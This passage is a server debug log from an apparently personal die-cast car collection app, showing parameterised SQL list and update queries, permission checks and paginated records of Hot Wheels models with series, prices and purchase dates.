    orders: [ [Object] ]
  }
}
2026-02-03T13:05:57.805Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 70,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:06:13.053Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:06:13.054Z server-connect:app Executing action step identify
2026-02-03T13:06:13.054Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:13.054Z server-connect:output identity: 1
2026-02-03T13:06:13.054Z server-connect:app Executing action step restrict
2026-02-03T13:06:13.054Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:13.055Z server-connect:output restrict: undefined
2026-02-03T13:06:13.055Z server-connect:app Executing action step paged
2026-02-03T13:06:13.055Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:06:13.058Z server-connect:output list: {
  offset: 25,
  limit: 25,
  total: 70,
  page: {
    offset: { first: 0, prev: 0, next: 50, last: 50 },
    current: 2,
    total: 3
  },
  data: [
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 64,
      model_name: 'Renault Espace F1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 63,
      model_name: '15 Land Rover Defender Double Cab',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 62,
      model_name: '83 Chevy Silverado',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 60,
      model_name: '2018 Bentley Continental GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Bentley',
      vehicle_brand_id: 125,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 55,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 53,
      model_name: 'Lamborghini Huracán Sterrato',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Safari Mode',
      brand_id: 71,
      series_id: 144,
      case: 'Q',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 52,
      model_name: 'Ferrari SF90 Stradale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 51,
      model_name: 'Volvo 240 Drift Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 50,
      model_name: '91 GMC Syclone',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 49,
      model_name: 'Porsche 911 Turbo Cabriolet',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 48,
      model_name: 'Formula E Gen3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Track Aces',
      brand_id: 71,
      series_id: 146,
      case: 'P',
      vehicle_brand_name: 'Formula',
      vehicle_brand_id: 139,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 47,
      model_name: 'Mazda RX-3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 46,
      model_name: 'Silverado EV RST',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'N',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 45,
      model_name: 'GT Shelby GT500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 44,
      model_name: 'Gordon Murray Automotive T.33',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'P',
      vehicle_brand_name: 'Gordon Murray',
      vehicle_brand_id: 138,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 43,
      model_name: 'Jaguar MK1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'M',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 42,
      model_name: '73 Pontiac Firebird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'M',
      vehicle_brand_name: 'Pontiac',
      vehicle_brand_id: 134,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 41,
      model_name: '99 Ford F-150 SVT Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 40,
      model_name: " Ford Model A Custom '31",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 39,
      model_name: '74 Brazilian Dodge Charger',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'D',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:06:21.246Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:06:21.246Z server-connect:app Executing action step identify
2026-02-03T13:06:21.246Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:21.247Z server-connect:output identity: 1
2026-02-03T13:06:21.247Z server-connect:app Executing action step restrict
2026-02-03T13:06:21.247Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:21.247Z server-connect:output restrict: undefined
2026-02-03T13:06:21.247Z server-connect:app Executing action step condition
2026-02-03T13:06:21.247Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:06:21.248Z server-connect:app Executing action step update
2026-02-03T13:06:21.248Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:06:21.249Z server-connect:output update: { affected: 1 }
2026-02-03T13:06:21.249Z server-connect:app Executing action step upload
2026-02-03T13:06:21.249Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:06:21.249Z server-connect:output upload_image: []
2026-02-03T13:06:21.249Z server-connect:app Executing action step repeat
2026-02-03T13:06:21.249Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-03T13:06:21.249Z server-connect:output repeat_images: []
2026-02-03T13:06:21.249Z server-connect:output condition: undefined
2026-02-03T13:06:21.460Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:06:21.460Z server-connect:app Executing action step identify
2026-02-03T13:06:21.460Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:21.460Z server-connect:output identity: 1
2026-02-03T13:06:21.460Z server-connect:app Executing action step restrict
2026-02-03T13:06:21.460Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:21.461Z server-connect:output restrict: undefined
2026-02-03T13:06:21.461Z server-connect:app Executing action step paged
2026-02-03T13:06:21.461Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:06:21.465Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 70,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
